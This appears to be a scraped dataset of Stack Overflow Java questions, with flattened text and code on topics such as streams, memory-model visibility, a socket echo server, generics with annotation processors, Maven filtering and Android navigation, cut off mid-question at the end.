to do with comparison to 0 being ( a miniscule bit ) cheaper than to another variable or is there any other particular reason as to why it is implemented that way ?",public boolean equals ( Object anObject ) { if ( this == anObject ) { return true ; } if ( anObject instanceof String ) { String anotherString = ( String ) anObject ; int n = value.length ; if ( n == anotherString.value.length ) { char v1 [ ] = value ; char v2 [ ] = anotherString.value ; int i = 0 ; while ( n -- ! = 0 ) { // Here n is being decremented ... if ( v1 [ i ] ! = v2 [ i ] ) return false ; i++ ; // while i is being incremented } return true ; } } return false ; } while ( i ! = n ) { if ( v1 [ i ] ! = v2 [ i ] ) return false ; i++ ; } while ( n -- ! = 0 ) { if ( v1 [ n ] ! = v2 [ n ] ) return false ; },Why does Java 's String.equals ( ) method use two counting variables ? +Java,"Problem StatementGiven the following class ( simplified for the question ) : I have a Stream < Match > that contains multiple instances of the class , the same type appears multiple times , but with different scores : I now want to collect the stream so that the result is a List < Match > containing only the instances with the highest score of each type . What I triedThe following code is working , but I am not sure if it is the `` optimal '' solution ( aside from the horrible reading and formatting ) : and : Output ( correct ) : A : 10 B : 12 C : 1 Additionally I was not able to extract a generic , static method returning a collector so that I can simply use it where I need in a way like : .collect ( distinctMaxByProperty ( Match : :getType , Match : :getScore ) Any help would be greatly appreciated !","public static class Match { private final String type ; private final int score ; public Match ( String type , int score ) { this.type = type ; this.score = score ; } public String getType ( ) { return type ; } public int getScore ( ) { return score ; } } Stream.of ( new Match ( `` A '' , 1 ) , new Match ( `` A '' , 2 ) , new Match ( `` A '' , 4 ) , new Match ( `` A '' , 10 ) , new Match ( `` B '' , 3 ) , new Match ( `` B '' , 6 ) , new Match ( `` B '' , 12 ) , new Match ( `` C '' , 1 ) ) ; .collect ( Collectors.collectingAndThen ( Collectors.groupingBy ( Match : :getType , Collectors.collectingAndThen ( Collectors.toList ( ) , l - > l.stream ( ) .max ( Comparator.comparing ( Match : :getScore ) ) .get ( ) ) ) , Map : :values ) ) .forEach ( m - > System.out.println ( m.getType ( ) + `` : `` + m.getScore ( ) ) ) ; .collect ( Collectors.collectingAndThen ( Collectors.groupingBy ( Match : :getType , Collectors.maxBy ( Comparator.comparing ( Match : :getScore ) ) ) , Map : :values ) ) .forEach ( m - > m.ifPresent ( ma - > System.out.println ( ma.getType ( ) + `` : `` + ma.getScore ( ) ) ) ) ;",Stream - Collect by property and max +Java,"As is known guarant that if we have some object reference and this reference has final field - we will see all reachable fields from final field ( at least when constructor was finished ) example 1 : As I undertand at this case we have guarantee that bar ( ) method always output object because:1 . I listed full code of class Foo and map is final ; 2 . If some thread will see reference of Foo and this reference ! = null , then we have guarantees that reachable from final map reference value will be actual.also I think that Example 2 : here we have same gurantees about bar ( ) method but bar2 can throw NullPointerException despite nonFinalMap assignment occurs before map assignment.I want to know how about volatile : Example 3 : As I understand bar ( ) method can not throw NullPoinerException but it can print null ; ( I am fully not sure about this aspect ) Example 4 : I think here we have same gurantees about bar ( ) method also bar2 ( ) can not throw NullPointerException because nonVolatileMap assignment written higher volatile map assignment but it can output nullAdded after Elliott Frisch commentPublication through race example : Please proove or correct my comments to code snippets .","class Foo { private final Map map ; Foo ( ) { map = new HashMap ( ) ; map.put ( 1 , '' object '' ) ; } public void bar ( ) { System.out.println ( map.get ( 1 ) ) ; } } class Foo { private final Map map ; private Map nonFinalMap ; Foo ( ) { nonFinalMap = new HashMap ( ) ; nonFinalMap.put ( 2 , `` ololo '' ) ; map = new HashMap ( ) ; map.put ( 1 , `` object '' ) ; } public void bar ( ) { System.out.println ( map.get ( 1 ) ) ; } public void bar2 ( ) { System.out.println ( nonFinalMap.get ( 2 ) ) ; } } class Foo { private volatile Map map ; Foo ( ) { map = new HashMap ( ) ; map.put ( 1 , '' object '' ) ; } public void bar ( ) { System.out.println ( map.get ( 1 ) ) ; } } class Foo { private volatile Map map ; private Map nonVolatileMap ; Foo ( ) { nonVolatileMap= new HashMap ( ) ; nonVolatileMap.put ( 2 , `` ololo '' ) ; map = new HashMap ( ) ; map.put ( 1 , `` object '' ) ; } public void bar ( ) { System.out.println ( map.get ( 1 ) ) ; } public void bar2 ( ) { System.out.println ( nonFinalMap.get ( 2 ) ) ; } } public class Main { private static Foo foo ; public static void main ( String [ ] args ) { new Thread ( new Runnable ( ) { @ Override public void run ( ) { foo = new Foo ( ) ; } } ) .start ( ) ; new Thread ( new Runnable ( ) { @ Override public void run ( ) { while ( foo == null ) ; // empty loop foo.bar ( ) ; } } ) .start ( ) ; } }",How deep volatile publication guarantees ? +Java,"I 'm trying to program a ( simple , for starters ) server-client thingy , just to establish a connection and see if it works . And it does . As long as I stay inside my own four walls/network . As soon as I try to go via my routers IP the client produces a mighty fine error message . All the usual suspects have been eliminated : Router Port forwarding is on , the firewall does n't interfere ( well , it still does n't work when I turn it off ) , and canyouseeme.org says that it can establish a connection to my chosen port when the server runs.Here is the source code for the server , since I figured out it was possible to just go via the command line with a little telnetting.When I try to establish a connection , it just says Could not open connection to the host , on port 49163 : Connection failedServer : Oh yeah , preferIP4vStack was something I picked up on Stackoverflow , but it does n't seem to work for me.For some reason I 'm not able to inlcude the code for the client , I keep getting messages about formatting , and I just ca n't figure it out . But the way I see it is that I 'm not even able to connect via the command line ( when I try to connect to the `` real '' IP ) , so the client does n't have to get involved . But for you who want to see the error anyway :","import java.net . * ; import java.io . * ; public class ChatServer { public static void main ( String [ ] args ) throws IOException { ServerSocket server = null ; try { System.setProperty ( `` java.net.preferIPv4Stack '' , `` true '' ) ; server = new ServerSocket ( 49163 ) ; } catch ( IOException e ) { System.err.println ( `` Could not listen on port : 49163 . `` ) ; System.exit ( 1 ) ; } Socket client = null ; try { client = server.accept ( ) ; } catch ( IOException e ) { System.err.println ( `` Accept failed . `` ) ; System.exit ( 1 ) ; } PrintWriter out = new PrintWriter ( client.getOutputStream ( ) , true ) ; BufferedReader in = new BufferedReader ( newInputStreamReader ( client.getInputStream ( ) ) ) ; String inputLine ; String outputLine ; out.println ( `` Connection established '' ) ; while ( ( inputLine = in.readLine ( ) ) ! = null ) { if ( inputLine.equals ( `` exit '' ) ) { break ; } outputLine = inputLine ; out.println ( outputLine ) ; } out.close ( ) ; in.close ( ) ; client.close ( ) ; server.close ( ) ; System.out.println ( `` Server offline '' ) ; } } java.net.ConnectException : Connection refused : connect at java.net.PlainSocketImpl.socketConnect ( Native Method ) at java.net.PlainSocketImpl.doConnect ( Unknown Source ) at java.net.PlainSocketImpl.connectToAddress ( Unknown Source ) at java.net.PlainSocketImpl.connect ( Unknown Source ) at java.net.SocksSocketImpl.connect ( Unknown Source ) at java.net.Socket.connect ( Unknown Source ) at java.net.Socket.connect ( Unknown Source ) at java.net.Socket. < init > ( Unknown Source ) at java.net.Socket. < init > ( Unknown Source ) at ChatClient.main ( ChatClient.java:12 )",Java networking server-client error +Java,"Before talking about FileInputStream , I am starting with a scenario where there are two perfectly valid , overloaded methods but where the compiler will get confused and then report a compile-time error in response to certain inputs . Here are the methods . Here is the complete code showing the use of the methods : Because an int literal value can be passed to a variable of type double , both methods are acceptable candidates for literal values 2 and 3 , and therefore the compiler fails to decide which method to pick . This is where I get confused when I take the above concept with me , dive further into the Java 7 API to the FileInputStream class , and study about two overloaded constructors of that class . public FileInputStream ( String name ) throws FileNotFoundException { ... .. } public FileInputStream ( File file ) throws FileNotFoundException { ... .. } According to the Java 7 API source code , the definition of the version that takes a String object as the argument is : Now , if `` name '' is indeed null , this ( name ! = null ? new File ( name ) : null ) ; evaluates to this ( null ) ; which in turn is equivalent to invocation of FileInputStream ( null ) ; but then both FileInputStream ( String ) and FileInputStream ( File ) become possible choices to be invoked with a null value . Does it not give rise to ambiguity ? So , is n't there a compile-time error for that ? I do understand that eventually a FileNotFoundException is raised , but it is a separate issue which comes later . How is the ambiguity resolved before that ?","double calcAverage ( double marks1 , int marks2 ) { return ( marks1 + marks2 ) /2.0 ; } double calcAverage ( int marks1 , double marks2 ) { return ( marks1 + marks2 ) /2.0 ; } class MyClass { double calcAverage ( double marks1 , int marks2 ) { return ( marks1 + marks2 ) /2.0 ; } double calcAverage ( int marks1 , double marks2 ) { return ( marks1 + marks2 ) /2.0 ; } public static void main ( String args [ ] ) { MyClass myClass = new MyClass ( ) ; myClass.calcAverage ( 2 , 3 ) ; } } public FileInputStream ( String name ) throws FileNotFoundException { this ( name ! = null ? new File ( name ) : null ) ; }",Something interesting about two overloaded constructors of FileInputStream in Java 7 API +Java,"Sometimes when I extend one of my own classes , I want to ( for the purpose of the subclass ) `` inject '' one or two lines of code in the middle a method in the super class.In these cases I sometimes add a call to an empty protected method for the subclass to override.When doing this several times in the same class I must say it looks quit awkward / ugly so my questions : Is this way of `` opening up '' for subclasses to `` inject '' code in the middle of methods considered good practice or not ? Is the pattern ( anti-pattern ? ) called something ? Has it been used in any well known API / library ? ( Note that I 'm talking about non-abstract classes . ) Are there any better alternatives ? The only alternative I can come up with is to use something like the command pattern and have a setMiddleOfMethodHandler ( SomeRunnableHandler ) , and call handler.doSubclassSpecificStuff ( ) instead of the dummy-method . It has a few drawbacks as I see it though , such as for instance not being able to touch protected data .",public void superClassMethod ( ) { // some fairly long snippet of code doSubclassSpecificStuff ( ) ; // some other fairly long snippet of code } // dummy method used for overriding purposes only ! protected void doSubclassSpecificStuff ( ) { },Protected `` stub '' methods used only for overriding purposes considered good practice or not ? +Java,"In my current project I have a submodule which is using the maven exec plugin to run a test service which pulls configuration files from a location outside of the resources/testResources folders . I need to use filtering to inject an environment variable into a few of the configuration files . This is working for one of the files , a .properties file , but not for another file which is a .json . In the latter case it simply leaves the variable in the json file . The two files are right next to each other in the filtered directory.Here is the filtering snippet from the submodule : json file : Abbreviated project structure : projectetcconfig.propertiesconfig.jsonsubmodulepom.xmlThe submodule is definitely loading both files , but only filtering the .properties file.Is there something special about it being a json file that would prevent filtering from happening to it ? Anything that can be done about this ?",< build > < finalName > $ { artifactId } < /finalName > < testResources > < testResource > < filtering > true < /filtering > < directory > ../etc < /directory > < /testResource > < /testResources > { `` customMappings '' : { `` tag : example.com : /vagrant/ '' : `` file : $ { VAGRANT_CWD } '' } },Maven resource filtering of json file +Java,"I 'm using the single activity multi fragments with navigation component.how do i hide the bottom navigation bar for some of the fragments ? i tried the following : controlling the visibility of the bottomnavigation bar through databinding . ( buggy ) toggling the bottomnavigation visibility before opening the fragment and on the backstack ( buggy ) making 2 host fragments : 1 full screen , 1 bound by the bottomnavigation making 2 navgraphs ..activity_main.xml : mainactivity.java : the bottomnavbar blinks when switching between full screen fragments and normal fragments","< com.google.android.material.bottomnavigation.BottomNavigationView android : id= '' @ +id/bottomNavigation '' android : visibility= '' @ { viewModel.uiUtils.shouldShow ? View.VISIBLE : View.GONE } '' / > private void observeShouldShow ( ) { mainViewModel.uiUtils.getShouldShow ( ) .observe ( this , new Observer < Boolean > ( ) { @ Override public void onChanged ( Boolean aBoolean ) { ViewGroup.LayoutParams layoutParams = binding.bottomNavigation.getLayoutParams ( ) ; if ( mainViewModel.getUiUtils ( ) .getShouldShow ( ) .getValue ( ) ) { binding.bottomNavigation.setVisibility ( View.VISIBLE ) ; layoutParams.height = 170 ; binding.bottomNavigation.setLayoutParams ( layoutParams ) ; } else { layoutParams.height = 0 ; binding.bottomNavigation.setLayoutParams ( layoutParams ) ; binding.bottomNavigation.setVisibility ( View.INVISIBLE ) ; } } } ) ;",how to use Navigation component navhostfragment while altering full screen/above bottom Navigation +Java,"I am using atom with atom-beautify and uncrustify to format my java files . I want the indentation of a lambda expression to only indent one level after an open brace , ( ) - > { . I have tried adjusting the indent_continue property , but it goes crazy when I set it to zero . ( using 4 spaces for indenting ) when indent_continue = 0 , this happens : when indent_continue = 4 , it double indents : Desired result : Current uncrustify.cfgVersion Information :","public class Test { public static void runTest ( Runnable code ) { code.run ( ) ; } public static void main ( String [ ] args ) { runTest ( ( ) - > { System.out.println ( `` hello '' ) ; // < -- look at this line } ) ; // < -- this one too } } public class Test { public static void runTest ( Runnable code ) { code.run ( ) ; } public static void main ( String [ ] args ) { runTest ( ( ) - > { System.out.println ( `` hello '' ) ; // < -- look at this line } ) ; // < -- this one too } } public class Test { public static void runTest ( Runnable code ) { code.run ( ) ; } public static void main ( String [ ] args ) { runTest ( ( ) - > { System.out.println ( `` hello '' ) ; // < -- look at this line } ) ; // < -- this one too } } # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # # Boilerplate : https : //github.com/bengardner/uncrustify/blob/master/etc/defaults.cfg # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # # # General # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # The type of line endingsnewlines = lf # auto/lf/crlf/cr # - 80 limit is completely deprecated # - 100 is the new soft limit # - 120 is hard limitcode_width = 120 # empty_lines_max = nl_max - 1nl_max = 4 # # UNICODE # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # # Ideally ASCII , UTF-8 otherwise # If the file contains bytes with values between 128 and 255 , but is not UTF-8 , then output as UTF-8utf8_byte = false # Force the output encoding to UTF-8utf8_force = true # # Tabs # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # # Always use 4 spacesinput_tab_size = 4output_tab_size = 4indent_with_tabs = 0 # Comments that are not a brace level are indented with tabs on a tabstop. # Requires indent_with_tabs = 2 . If false , will use spaces.indent_cmt_with_tabs = false # Whether to use tabs for aligningalign_with_tabs = false # Whether to keep non-indenting tabsalign_keep_tabs = false # Whether to bump out to the next tab when aligningalign_on_tabstop = false # # Indenting # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # The number of columns to indent per level. # Usually 2 , 3 , 4 , or 8.indent_columns = 4 # The continuation indent . If non-zero , this overrides the indent of ' ( ' and '= ' continuation indents. # For FreeBSD , this is set to 4 . Negative value is absolute and not increased for each ( levelindent_continue = 0 # # Spacing # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # Whether to balance spaces inside nested parenssp_balance_nested_parens = false # # Parentheses # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # Controls the indent of a close paren after a newline. # 0 : Indent to body level # 1 : Align under the open paren # 2 : Indent to the brace levelindent_paren_close = 2 # # Preprocessor # # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - # Control indent of preprocessors inside # if blocks at brace level 0pp_indent = remove # ignore/add/remove/force # indent by 1 spacepp_space = addpp_space_count = 1 # indent pp at code levelpp_indent_at_level = truepp_define_at_level = true # Control whether to indent the code between # if , # else and # endif when not at file-levelpp_if_indent_code = false # # Align macro functions and variables together # align_pp_define_together = false # The minimum space between label and value of a preprocessor definealign_pp_define_gap = 0 # The span for aligning on ' # define ' bodies ( 0=do n't align ) align_pp_define_span = 2 # Add or remove space around preprocessor ' # # ' concatenation operator . Default=Addsp_pp_concat = add # ignore/add/remove/force # Add or remove space after preprocessor ' # ' stringify operator . Also affects the ' # @ ' charizing operator.sp_pp_stringify = ignore # ignore/add/remove/force # Add or remove space before preprocessor ' # ' stringify operator as in ' # define x ( y ) L # y'. # sp_before_pp_stringify = ignore # ignore/add/remove/force # Template # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- # Add or remove space in 'template < ' vs 'template < '. # If set to ignore , sp_before_angle is used.sp_template_angle = add # ignore/add/remove/force # Add or remove space before ' < > 'sp_before_angle = remove # ignore/add/remove/force # Add or remove space inside ' < ' and ' > 'sp_inside_angle = remove # ignore/add/remove/force # Add or remove space after ' < > 'sp_after_angle = add # ignore/add/remove/force # Add or remove space between ' < > ' and ' ( ' as found in 'new List < byte > ( ) ; 'sp_angle_paren = remove # ignore/add/remove/force # Add or remove space between ' < > ' and a word as in 'List < byte > m ; 'sp_angle_word = add # ignore/add/remove/force # Add or remove space between ' > ' and ' > ' in ' > > ' ( template stuff C++/C # only ) . Default=Addsp_angle_shift = add # ignore/add/remove/forceindent_align_string = false # Whether braces are indented to the body levelindent_braces = false # Disabled indenting function braces if indent_braces is trueindent_braces_no_func = false # Disabled indenting class braces if indent_braces is trueindent_braces_no_class = false # Disabled indenting struct braces if indent_braces is trueindent_braces_no_struct = false # Indent based on the size of the brace parent , i.e . 'if ' = > 3 spaces , 'for ' = > 4 spaces , etc.indent_brace_parent = falseindent_namespace = falseindent_extern = falseindent_class = trueindent_class_colon = falseindent_else_if = falseindent_var_def_cont = trueindent_func_call_param = falseindent_func_def_param = falseindent_func_proto_param = falseindent_func_class_param = falseindent_func_ctor_var_param = falseindent_func_param_double = trueindent_template_param = falseindent_relative_single_line_comments = falseindent_col1_comment = trueindent_access_spec_body = falseindent_paren_nl = falseindent_comma_paren = falseindent_bool_paren = falseindent_first_bool_expr = falseindent_square_nl = falseindent_preserve_sql = falseindent_align_assign = truealign_number_left = truealign_func_params = truealign_same_func_call_params = falsealign_var_def_colon = falsealign_var_def_attribute = truealign_var_def_inline = truealign_right_cmt_mix = falsealign_on_operator = falsealign_mix_var_proto = falsealign_single_line_func = falsealign_single_line_brace = falsealign_nl_cont = falsealign_left_shift = truealign_oc_decl_colon = falsenl_collapse_empty_body = truenl_assign_leave_one_liners = truenl_class_leave_one_liners = truenl_enum_leave_one_liners = truenl_getset_leave_one_liners = truenl_func_leave_one_liners = truenl_if_leave_one_liners = truenl_multi_line_cond = truenl_multi_line_define = truenl_before_case = falsenl_after_case = falsenl_after_return = truenl_after_semicolon = truenl_after_brace_open = falsenl_after_brace_open_cmt = falsenl_after_vbrace_open = falsenl_after_vbrace_open_empty = falsenl_after_brace_close = falsenl_after_vbrace_close = falsenl_define_macro = falsenl_squeeze_ifdef = falsenl_ds_struct_enum_cmt = falsenl_ds_struct_enum_close_brace = falsenl_create_if_one_liner = falsenl_create_for_one_liner = falsenl_create_while_one_liner = falsels_for_split_full = truels_func_split_full = falsenl_after_multiline_comment = trueeat_blanks_after_open_brace = trueeat_blanks_before_close_brace = truemod_full_brace_if_chain = truemod_pawn_semicolon = falsemod_full_paren_if_bool = falsemod_remove_extra_semicolon = falsemod_sort_import = falsemod_sort_using = falsemod_sort_include = falsemod_move_case_break = falsemod_remove_empty_return = truecmt_indent_multi = truecmt_c_group = falsecmt_c_nl_start = falsecmt_c_nl_end = falsecmt_cpp_group = falsecmt_cpp_nl_start = falsecmt_cpp_nl_end = falsecmt_cpp_to_c = falsecmt_star_cont = truecmt_multi_check_last = truecmt_insert_before_preproc = falseindent_sing_line_comments = 0indent_switch_case = 4indent_case_shift = 0align_var_def_star_style = 0align_var_def_amp_style = 1align_assign_span = 1align_assign_thresh = 8align_enum_equ_span = 3align_var_struct_span = 3align_var_struct_gap = 1align_struct_init_span = 2align_right_cmt_span = 2align_right_cmt_gap = 1align_right_cmt_at_col = 2nl_end_of_file_min = 1nl_func_var_def_blk = 1nl_after_func_body = 2nl_after_func_body_one_liner = 2nl_before_block_comment = 2nl_after_struct = 1mod_full_brace_nl = 1mod_add_long_function_closebrace_comment = 32mod_add_long_ifdef_endif_comment = 10mod_add_long_ifdef_else_comment = 10sp_arith = ignoresp_assign = forcesp_assign_default = addsp_enum_assign = forcesp_bool = forcesp_compare = forcesp_before_ptr_star = removesp_before_unnamed_ptr_star = addsp_between_ptr_star = removesp_after_ptr_star = addsp_after_ptr_star_func = forcesp_before_ptr_star_func = forcesp_after_type = forcesp_before_sparen = forcesp_inside_sparen = removesp_after_sparen = addsp_sparen_brace = addsp_special_semi = removesp_before_semi = removesp_before_semi_for_empty = removesp_after_semi = addsp_after_semi_for_empty = removesp_after_comma = forcesp_before_comma = removesp_before_case_colon = removesp_after_operator = addsp_after_operator_sym = addsp_after_cast = addsp_inside_paren_cast = removesp_sizeof_paren = removesp_inside_braces_enum = addsp_inside_braces_struct = addsp_inside_braces = addsp_inside_braces_empty = removesp_func_proto_paren = removesp_func_def_paren = removesp_inside_fparens = removesp_inside_fparen = removesp_fparen_brace = addsp_func_call_paren = removesp_func_call_paren_empty = removesp_func_call_user_paren = removesp_return_paren = addsp_attribute_paren = removesp_defined_paren = removesp_macro = addsp_macro_func = addsp_else_brace = addsp_brace_else = addsp_brace_typedef = addsp_not = removesp_inv = removesp_addr = removesp_member = removesp_deref = removesp_sign = removesp_incdec = removesp_before_nl_cont = addsp_cond_colon = forcesp_cond_question = forcesp_cmt_cpp_start = addnl_start_of_file = removenl_end_of_file = forcenl_assign_brace = removenl_assign_square = removenl_enum_brace = removenl_struct_brace = removenl_union_brace = removenl_if_brace = removenl_brace_else = removenl_elseif_brace = removenl_else_brace = removenl_else_if = removenl_for_brace = removenl_while_brace = removenl_do_brace = removenl_brace_while = removenl_switch_brace = removenl_case_colon_brace = removenl_func_type_name = removenl_func_proto_type_name = removenl_func_paren = removenl_func_def_paren = removenl_func_decl_empty = removenl_func_def_empty = removenl_fdef_brace = removenl_return_expr = removepos_arith = leadpos_assign = trailpos_bool = trailpos_conditional = trailpos_comma = trailpos_class_comma = leadpos_class_colon = leadmod_full_brace_do = removemod_full_brace_for = removemod_full_brace_function = forcemod_full_brace_while = removemod_paren_on_return = ignore # Misc # -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- # Allow interpreting ' > = ' and ' > > = ' as part of a template in 'void f ( list < list < B > > =val ) ; '. # If true ( default ) , 'assert ( x < 0 & & y > =3 ) ' will be broken. # Improvements to template detection may make this option obsolete.tok_split_gte = false Ubuntu 16.04.1 LTSAtom : 1.13.0Electron : 1.3.13Chrome : 52.0.2743.82Node : 6.5.0uncrustify : 0.59atom-beautify : 0.29.17",How to indent properly after java lambda expression with uncrustify formatter ? +Java,"I noticed that the java.time.Period class contains a few instance methods that behave the same as the available static factory methods..withDays ( ) behaves the same as Period.ofDays ( ) .withMonths ( ) behaves the same as Period.ofMonths ( ) .withYears ( ) behaves the same as Period.ofYears ( ) These instance methods are confusing in that they create a new Period and return them , but without taking into consideration the state of the Period they are called on.It seems logical that this would return a period of 3 weeks , 2 days , but it returns only a period of 2 days . This is the same as if I 'd called Period.ofDays ( 2 ) . Also , there are five other static factory methods without analogous instance methods.So , is there a reason that these three instance methods would exist ? If so , what 's the use case ?",Period p = Period.ofWeeks ( 3 ) ; p = p.withDays ( 2 ) ;,"In java.time.Period class , what are the purposes of withDays ( ) , withMonths ( ) , withYears ( )" +Java,"I have a situation where i need to loop though xyz coordinates in different orders depending on a users input . So i an area in 3D space then a set of for loops like so.but depending on the users input , the order may be like this.or even negative.Is there any way to do this without hard coding every case ?",for ( int x = 0 ; x < build.getWidth ( ) ; x++ ) { for ( int y = 0 ; y < build.getHeight ( ) ; y++ ) { for ( int z = 0 ; z < build.getLength ( ) ; z++ ) { //do stuff } } } for ( int z = 0 ; z < build.getLenght ( ) ; z++ ) { for ( int y = 0 ; y < build.getHeight ( ) ; y++ ) { for ( int x = 0 ; x < build.getWidth ( ) ; x++ ) { //do stuff } } } for ( int x = build.getWidth ( ) ; x > 0 ; x -- ) { for ( int y = 0 ; y < build.getHeight ( ) ; y++ ) { for ( int z = 0 ; z < build.getLength ( ) ; z++ ) { //do stuff } } },Change order of for loops ? +Java,"BackgroundI was trying to use Annotation Processors , to generate implementations of specific Factory interfaces . Those interfaces look the following : andThe Annotation Processor is doing the correct thing and generates a factory for each matching class , that is annotated with an corresponding annotation.The ProblemThe output of the Annotation Processor is the following : and the corresponding other class : The TestViewImplFactory however can not be compiled . The error message is : `` Class 'TestViewImplFactory ' must be declared abstract or implement abstract method create ( S ) in 'ViewFactory ' '' Java says , the following is correct : which would not work at all , considering that the user wants to know , which View will be returned and which Presenter is required . I would have expected that : either both of the autogenerated files are wrong or both are correctbecause they both are really similar . I expected the first to be true.What am I missing here ? If I add the Generic type to the TestViewImplFactory like this : The problem arises , that the constructor Parameter ( which is of the Type TestPresenter ) is incorrect . Changing the S to a concrete TestPresenter will , again , make the class not compilable for the same reason as above.So , I stumbled across an `` solution '' that can be compiled.What basically has to be done , is to change the ViewFactory interface to the following : So the class definition has the same Generic type , as the method in the Question above.After compilation ( this time with generic type specification ) , the output looks like this : This can be compiled and runs successfully.This however does not answer the original question . Why is the generic explicitly stated in the type definition correct , but inherited and specified in the method declaration wrong and not compilable ? To be concrete : Why can Java inherit one Generic automatically ( within the PresenterFactory ) and the other ones not ( within the ViewFactory , at the method and at the type declaration ) ?","public interface ViewFactory < T extends View > { < S extends Presenter < T > > T create ( S presenter ) ; } public interface PresenterFactory < T extends View > { < S extends Presenter < T > > S create ( ) ; } public final class TestViewImplFactory implements ViewFactory { public final TestView create ( TestPresenter presenter ) { return new TestViewImpl ( presenter ) ; } } public final class TestPresenterImplFactory implements PresenterFactory { public final TestPresenter create ( ) { return new TestPresenterImpl ( ) ; } } @ Overridepublic View create ( Presenter presenter ) { return new TestViewImpl ( presenter ) ; } public final class TestViewImplFactory implements ViewFactory < TestView > { @ Override public < S extends Presenter < TestView > > TestView create ( S presenter ) { return new TestViewImpl ( presenter ) ; } } public interface ViewFactory < T extends View , S extends Presenter < T > > { T create ( S presenter ) ; } public final class TestViewImplFactory implements ViewFactory < TestView , TestPresenter > { public TestViewImplFactory ( ) { } public final TestView create ( TestPresenter presenter ) { return new TestViewImpl ( presenter ) ; } }",Annotation Processor appears to break Java generics +Java,"I want to use Count.ly with my Android app . I 'm newbie on Android . There is an installation documentation here but i could n't follow these steps.1 ) I 've added this to my manifest file , inside < application > 2 ) Added this to my MainActivity 's onCreate ( ) method.But i 'm stuck at next step . What they mean with Add Countly.java to your project under Eclipse. ? Just i should copy Countly.java to my /src/com/blabla/appname folder ? Also i do n't know what should i do after this step .",< service android : name= '' org.openudid.OpenUDID_service '' > < intent-filter > < action android : name= '' org.openudid.GETUDID '' / > < /intent-filter > < /service > OpenUDID_manager.sync ( getApplicationContext ( ) ) ; if ( OpenUDID_manager.isInitialized ( ) ) { String oudid = OpenUDID_manager.getOpenUDID ( ) ; },Integrating Count.ly To Android Application +Java,"I have a simple model , instances of which I want to save in MySQL using Spring JDBCTemplate . I use DAO that saves model objects using simple sql ( insert into user ( id , email ... ) value ( : id , : email ... ) ) . Is there any framework that can extract parameters from the model ( when the model is just POJO with public fields ) . So , I need something similar to Spring 's BeanPropertySqlParameterSource , but with the ability to work with public fields instead of properties.Example of the model class : I know that extending AbstractSqlParameterSource can solve my problem , but I hope to find existing framework.UPDImplementation based on AbstractSqlParameterSource :","public class User { public int id ; public String email ; public String login ; public String password ; } public class PublicFieldsSqlParameterSource extends AbstractSqlParameterSource { Map < String , Object > props = new HashMap < > ( ) ; public PublicFieldsSqlParameterSource ( Object object ) { Field [ ] fields = object.getClass ( ) .getFields ( ) ; for ( Field field : fields ) { String name = field.getName ( ) ; try { Object value = field.get ( object ) ; props.put ( name , value ) ; } catch ( IllegalAccessException ignored ) { } } } @ Override public boolean hasValue ( String paramName ) { return props.containsKey ( paramName ) ; } @ Override public Object getValue ( String paramName ) throws IllegalArgumentException { return props.get ( paramName ) ; } }",Analog of BeanPropertySqlParameterSource that can handle public fields +Java,`` Java Concurrency in Practice '' gives the following example of an unsafe class which due the nature of the java memory model may end up running forever or print 0 . The issue this class is trying to demonstrate is that the variables here are not `` shared '' between threads . So the value on thread sees can be different from another thread as they are not volatile or synchronized . Also due to the reordering of statements allowed by the JVM ready=true maybe set before number=42.For me this class always works fine using JVM 1.6 . Any idea on how to get this class to perform the incorrect behavior ( i.e . print 0 or run forever ) ?,public class NoVisibility { private static boolean ready ; private static int number ; private static class ReaderThread extends Thread { public void run ( ) { while ( ! ready ) Thread.yield ( ) ; System.out.println ( number ) ; } } public static void main ( String [ ] args ) { new ReaderThread ( ) .start ( ) ; number = 42 ; ready = true ; } },Java memory model synchronization : how to induce data visibility bug ? +Java,"I do the following : On my local machine my Timezone is Europe/Berlin . On my server it is UTC.Running this code on local box returns week = 14 . Running this code on my server returns week = 15.I am out of ideas - can somebody explain that to me ? This causes me big trouble : - ( Thanks for any pointers.Cheers , Christian","Calendar c = Calendar.getInstance ( TimeZone.getTimeZone ( `` Europe/Berlin '' ) ) ; c.setFirstDayOfWeek ( Calendar.MONDAY ) ; c.set ( Calendar.DAY_OF_MONTH , 9 ) ; c.set ( Calendar.MONTH , 3 ) ; c.set ( Calendar.YEAR , 2011 ) ; c.set ( Calendar.HOUR_OF_DAY , 10 ) ; c.set ( Calendar.MINUTE , 20 ) ; int week = c.get ( Calendar.WEEK_OF_YEAR )",Java Calendar returns different dates +Java,"For me , these code and the same code without do the same , when I use it with the following code : Could someone describe me if use of has some 